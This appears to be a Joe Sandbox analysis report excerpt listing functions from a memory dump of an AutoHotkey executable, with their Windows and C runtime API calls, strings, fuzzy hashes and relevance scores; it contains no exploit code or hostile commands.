
Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: DeleteDestroyIconInfoItemMenuObject
String ID: 0
API String ID: 2083505926-4108050209
Opcode ID: 935b813801cd594deda1a7edc18172bd065c78ff5035471fd781f2603c21a1e9
Instruction ID: f711afb902d0778919aea73fbb38f3bdddf3a85005bf2367b5b15522ff9318c1
Opcode Fuzzy Hash: 935b813801cd594deda1a7edc18172bd065c78ff5035471fd781f2603c21a1e9
Instruction Fuzzy Hash: D0F04FF09053019FE324DF55C91CB577BE4FB48704F854A1DE49A86690D7B9E808CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0043635B Relevance: 6.4, APIs: 4, Instructions: 354stringCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043668C
__wcsicoll.LIBCMT ref: 0043669E

Part of subcall function 0041A3C0: __wcstoi64.LIBCMT ref: 0041A3D3

lstrcmpiW.KERNEL32(004B0CF8,004B0CF8), ref: 004366B7
lstrcmpiW.KERNEL32(004B0CF8,004B0CF8), ref: 004366C4

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicolllstrcmpi$__wcstoi64
String ID:
API String ID: 455558549-0
Opcode ID: beca711bf89bfb8016b3870bb8d980551aa9f4c0e1dca995738d8c3b079267ff
Instruction ID: fda213e7a17f0fe5c261f48871c55ea371d6f3ee63f3820cef5b6ecdf6ee5702
Opcode Fuzzy Hash: beca711bf89bfb8016b3870bb8d980551aa9f4c0e1dca995738d8c3b079267ff
Instruction Fuzzy Hash: 08C12630604202BBE7109F24D88176B73A1AB59758F16E17FE8455B386D77EDC82C78E

Uniqueness

Uniqueness Score: -1.00%

Function 00436081 Relevance: 6.3, APIs: 4, Instructions: 261stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A3C0: __wcstoi64.LIBCMT ref: 0041A3D3

__wcsicoll.LIBCMT ref: 00436265
__wcsicoll.LIBCMT ref: 00436279
lstrcmpiW.KERNEL32(00000000,004B0CF8,00000000), ref: 004362B4

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll$__wcstoi64lstrcmpi
String ID:
API String ID: 3113806400-0
Opcode ID: 83a8a0df48642344b71e785ef892d65b066d045ee1b0e7c66fe8d85dd32018a1
Instruction ID: 521d8cc5fa5460f3011f0877510255526692987db78d368341e2e8e34428e211
Opcode Fuzzy Hash: 83a8a0df48642344b71e785ef892d65b066d045ee1b0e7c66fe8d85dd32018a1
Instruction Fuzzy Hash: 99812B3170521277DB20AB14DC42B6773625B89B14F2BE16BED056B3C6D76EDC82838E

Uniqueness

Uniqueness Score: -1.00%

Function 0047F250 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 245COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0047F52D

Strings

FileOpen, xrefs: 0047F495, 0047F56A
Failed to open file., xrefs: 0047F56F
Parameter #2 invalid., xrefs: 0047F49A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ErrorLast
String ID: Failed to open file.$FileOpen$Parameter #2 invalid.
API String ID: 1452528299-3221046509
Opcode ID: 0c0f12cb5d91ef92a9e9511ce7a622be048316391caf8a2819497b72b7b72bc0
Instruction ID: ecfacad556fae9cd62b5aaffb8a84ef9c01bc7bffeefbcdf6bebdd61ca0c48e4
Opcode Fuzzy Hash: 0c0f12cb5d91ef92a9e9511ce7a622be048316391caf8a2819497b72b7b72bc0
Instruction Fuzzy Hash: 268112716002019BD7209B64D881BAA73A0AB54325F248277ED2D9B3D2E77CEC5CC79E

Uniqueness

Uniqueness Score: -1.00%

Function 0042D170 Relevance: 6.2, APIs: 4, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc29302b509d8c6850215bb0fad76ab565fc6bebd083cd75f735ae3921b461
Instruction ID: 017cb0ce53dc504432268c5b393a63c826e67869871cf2f893efdf2633aca59c
Opcode Fuzzy Hash: afcc29302b509d8c6850215bb0fad76ab565fc6bebd083cd75f735ae3921b461
Instruction Fuzzy Hash: 1281D436B083559BD734DA58E884BABB3E1BF88310F98055EE98547342D735EC06C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00480150 Relevance: 6.2, APIs: 4, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cc2b10caeb3e3ca11efa447773b049f1826fea206a457b3fa0931986c900535
Instruction ID: a4ff9923861d801b0d9b259961a466d2b3c1668708d8524f113c9fc796d6b299
Opcode Fuzzy Hash: 0cc2b10caeb3e3ca11efa447773b049f1826fea206a457b3fa0931986c900535
Instruction Fuzzy Hash: 22513572A243158BCB50BF28D88456F73E1AF94324F410D6BEC8597340E379DE89C79A

Uniqueness

Uniqueness Score: -1.00%

Function 004844A0 Relevance: 6.1, APIs: 4, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,0040F2F8,004D8348,?,?,004B0CF8,004B0CF8,00000000), ref: 004844F7
IsWindowVisible.USER32(00000000), ref: 00484513
GetForegroundWindow.USER32(?,?,?,?,0040F2F8,004D8348,?,?,004B0CF8,004B0CF8,00000000), ref: 00484553
IsWindowVisible.USER32(00000000), ref: 004845C0

Part of subcall function 004852F0: LoadLibraryW.KERNEL32(dwmapi.dll,DwmGetWindowAttribute,?,004845D4,00000000,?,?,?,?,0040F2F8,004D8348,?,?,004B0CF8,004B0CF8,00000000), ref: 0048530B
Part of subcall function 004852F0: GetProcAddress.KERNEL32(00000000), ref: 00485312

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$ForegroundVisible$AddressLibraryLoadProc
String ID:
API String ID: 559202094-0
Opcode ID: b545d771339426218fa1725354f590505fb62e7cbfead9e03966db733ce6fc1a
Instruction ID: 04a802663e5bac835367d810c835cb1bab2c5c04672bc5b6e84d993adf71ba12
Opcode Fuzzy Hash: b545d771339426218fa1725354f590505fb62e7cbfead9e03966db733ce6fc1a
Instruction Fuzzy Hash: 78519D71A443819BC734BF69D8805EFB7E5ABC1310F44892FEB4887700EB389944DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004487E0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

__wcstoi64.LIBCMT ref: 00448855
__wcstoi64.LIBCMT ref: 00448888

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcstoi64
String ID:
API String ID: 398114495-0
Opcode ID: 912974b8d22a1d2096e62d0d75c659c88c4203600bf176ca68ec6a72dfc00579
Instruction ID: 282f46bad3b0889d707567502305a71e5f238f0655638e7af4ea5475e0d51f95
Opcode Fuzzy Hash: 912974b8d22a1d2096e62d0d75c659c88c4203600bf176ca68ec6a72dfc00579
Instruction Fuzzy Hash: 2C417B71A0050166E7107F28CC417AF77A0EF96354F84457FE981A73A1EF2A9906878F

Uniqueness

Uniqueness Score: -1.00%

Function 0047C460 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00008000,?,?), ref: 0047C489

Part of subcall function 0047C320: FindFirstFileW.KERNEL32(?,?,?,?,?), ref: 0047C36C
Part of subcall function 0047C320: FindClose.KERNEL32(00000000,?,?), ref: 0047C378

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0047C4B6
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 0047C509
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0047C51E

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: PrivateProfileWrite$FindString$CloseFileFirstFullNamePathSection
String ID:
API String ID: 1032437609-0
Opcode ID: 5b350a406a2e1d3b0bd45fe81f78c980fa73d0c0683d9715a5ec43827c618d9f
Instruction ID: aad235075cda5840ddf15c5a59e006a9fda1056257976024b8c2b4e5fb1c3132
Opcode Fuzzy Hash: 5b350a406a2e1d3b0bd45fe81f78c980fa73d0c0683d9715a5ec43827c618d9f
Instruction Fuzzy Hash: DF310772600224A7C730DB55DC82FEBB3A8EB48711F11416FFA49971C0DBB9AA44C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 0045D865 Relevance: 6.1, APIs: 4, Instructions: 104windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,000000B0,?,?,00000002,000007D0,?), ref: 0045D884
SendMessageTimeoutW.USER32(?,000000C9,?,00000000,00000002,000007D0,?), ref: 0045D8A5
SendMessageTimeoutW.USER32(?,000000C9,?,00000000,00000002,000007D0,00000000), ref: 0045D8D2
SendMessageTimeoutW.USER32(?,000000C9,?,00000000,00000002,000007D0,00000000), ref: 0045D903

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: MessageSendTimeout
String ID:
API String ID: 1599653421-0
Opcode ID: e1d4de32cb75c72ff3a665b992f7985cca3c52bb1597d04716bb5b70e3de95a5
Instruction ID: f502961f222757b09b173b8723e0a84d29d9820b4bf67e88ed046491165300dd
Opcode Fuzzy Hash: e1d4de32cb75c72ff3a665b992f7985cca3c52bb1597d04716bb5b70e3de95a5
Instruction Fuzzy Hash: 65317631B4420AAAEB20DB94CD86FBF7378AF44B11F50051BBA10B71C5D7B4AD058B69

Uniqueness

Uniqueness Score: -1.00%

Function 004A5614 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004A5648
__isleadbyte_l.LIBCMT ref: 004A567B
MultiByteToWideChar.KERNEL32(54896610,00000009,?,00009B8D,00000000,00000000,?,?,?,0047FFCE,?,00000000), ref: 004A56AC
MultiByteToWideChar.KERNEL32(54896610,00000009,?,00000001,00000000,00000000,?,?,?,0047FFCE,?,00000000), ref: 004A571A

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f1c0cbb46028742cddeeabdb6f39c5770d1713c82041af1350c6b4449f5e9439
Instruction ID: 053bf56ac3b2a1a10f7cbe9ea9734cf65070de86fa1b7b24f9f5d07099f245c0
Opcode Fuzzy Hash: f1c0cbb46028742cddeeabdb6f39c5770d1713c82041af1350c6b4449f5e9439
Instruction Fuzzy Hash: 7231D031A00645EFDF20DF64CA909AE3BB5BF12320F54856AF4698B2A1D734DD41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004613D0 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 004613E5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 9bf9a7e18a1b9a9841391fe688b112847d4bb547458aa54bc548a078e5bd0846
Instruction ID: 456a1dec3eabca1184ace4e6fcd9c3ec7d8270873f49a9fa7996e5db1036ed21
Opcode Fuzzy Hash: 9bf9a7e18a1b9a9841391fe688b112847d4bb547458aa54bc548a078e5bd0846
Instruction Fuzzy Hash: 7121D835A002145F8B10DF68E8548ABB7A8EB49720B08866BFC1DC7720FA39DC40C7DA

Uniqueness

Uniqueness Score: -1.00%

Function 00477330 Relevance: 6.1, APIs: 4, Instructions: 90windowCOMMON

Download Yara Rule

APIs

IsMenu.USER32(00000000), ref: 00477344
GetMenu.USER32(?), ref: 00477370
DestroyMenu.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,00477448), ref: 00477384

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Menu$Destroy
String ID:
API String ID: 3525833831-0
Opcode ID: 1ab50c7b951d9841d7ebfe004a67e4749bd224388caa69187858eaa742f4fbd6
Instruction ID: ca522f25b28d59f96715409ddbff0f599ce172e184fcd812eb730cca2e9963e6
Opcode Fuzzy Hash: 1ab50c7b951d9841d7ebfe004a67e4749bd224388caa69187858eaa742f4fbd6
Instruction Fuzzy Hash: 91318E317092108BCB319F259880AABB7A9BB44715B95C56BDC4DDB701D738FC01EB98

Uniqueness

Uniqueness Score: -1.00%

Function 00419580 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 004195C1
_wcstoul.LIBCMT ref: 004195D8
__wcsnicmp.LIBCMT ref: 004195EB
_wcstoul.LIBCMT ref: 00419606

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsnicmp_wcstoul
String ID:
API String ID: 372159744-0
Opcode ID: 23a24e614f6adf592575801a7617b7edbb29059bbe2d2977a5bc2b380159e94a
Instruction ID: 48ab1264c1f3e2513e1339f7f3f6957a052dda347a77d7802f6317311058c9cd
Opcode Fuzzy Hash: 23a24e614f6adf592575801a7617b7edbb29059bbe2d2977a5bc2b380159e94a
Instruction Fuzzy Hash: 85115932A5435126DA04DB596C02FDBB388AF9431CF04442BF84CDB382E36EAD5583BE

Uniqueness

Uniqueness Score: -1.00%

Function 0049D0A0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: b71f1d9349aaa6b989ff4b036c968748f26520325c77309ec9d427f6277dfa33
Instruction ID: fd4faa91100aeec74243ef131622ab50da2005724697169e90061361adc7a38a
Opcode Fuzzy Hash: b71f1d9349aaa6b989ff4b036c968748f26520325c77309ec9d427f6277dfa33
Instruction Fuzzy Hash: F811B172901214ABDF206B62DC06B9F7F68EB857A4F104137F952972A0D6388D41E66C

Uniqueness

Uniqueness Score: -1.00%

Function 004683EC Relevance: 6.1, APIs: 4, Instructions: 66windowCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00468001
GetWindowLongW.USER32(?,000000F0), ref: 00468410
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 0046842D
ShowWindow.USER32(00000000,-00000001), ref: 00468455

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$LongMessageSendShow_free
String ID:
API String ID: 592510501-0
Opcode ID: 946cfd1854ea6baecf5d3fbefeadeebaf197389b583760f4c850b6442fda712c
Instruction ID: 65927e7df1ee3fec00fcd4f1efc2459e2e670b4a20e478b1079a7bccd7d21ced
Opcode Fuzzy Hash: 946cfd1854ea6baecf5d3fbefeadeebaf197389b583760f4c850b6442fda712c
Instruction Fuzzy Hash: F3112770A0520097DB108F24DC84B5F3BA1AB45724F08862BF8558A3C1EB3CD941D70F

Uniqueness

Uniqueness Score: -1.00%

Function 0045B520 Relevance: 6.1, APIs: 4, Instructions: 61keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(?), ref: 0045B535

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: ae341c156ab94e3b96d27d800ef6470bdf16826c7294baa3a0f88d59318a5a13
Instruction ID: b4af31304add5ae873a0f79e27a9e044c9b777aee00d62d5844ba6f117515b0f
Opcode Fuzzy Hash: ae341c156ab94e3b96d27d800ef6470bdf16826c7294baa3a0f88d59318a5a13
Instruction Fuzzy Hash: 4F1108B0860118AADF1C9B3898253FA37D1F74174BFC8049BF849CA593E72D854EE65D

Uniqueness

Uniqueness Score: -1.00%

Function 00413690 Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00413704
_free.LIBCMT ref: 0041370D
_free.LIBCMT ref: 00413716
_free.LIBCMT ref: 00413728

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 29120c9d057372807344aa45bbf6734d465b62690172e93c224a0efcbe0e6366
Instruction ID: 27f7e7a5d6eb0ec7b1bb2f871385b39b1c1c53c2c545ed48017c2409dfe2ca06
Opcode Fuzzy Hash: 29120c9d057372807344aa45bbf6734d465b62690172e93c224a0efcbe0e6366
Instruction Fuzzy Hash: 84113AB5600B00AFC620DF69C881B97B3E9FF88704F14892DE15A87390DB39E941CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004695D0 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 004695FC
IsWindowVisible.USER32(?), ref: 00469610
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000037,?,?,00000000,02D91808,00477321,00000000), ref: 00469632
RedrawWindow.USER32(?,00000000,00000000,00000501,?,?,00000000,02D91808,00477321,00000000), ref: 00469649

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$MenuRedrawVisible
String ID:
API String ID: 1537645765-0
Opcode ID: 54d3c51baba4205a6de62fe157bf6c7f7938ca2e17597b7112b719cb91bfe84c
Instruction ID: bf47edb6da4a49d43236b16943f40b22b48320f994cecc47d9aa27ec59f282b4
Opcode Fuzzy Hash: 54d3c51baba4205a6de62fe157bf6c7f7938ca2e17597b7112b719cb91bfe84c
Instruction Fuzzy Hash: B4014439601210ABD610EF54EDC0F2AB369A78AB04F15805EE64297395C7B1FC02CB99

Uniqueness

Uniqueness Score: -1.00%

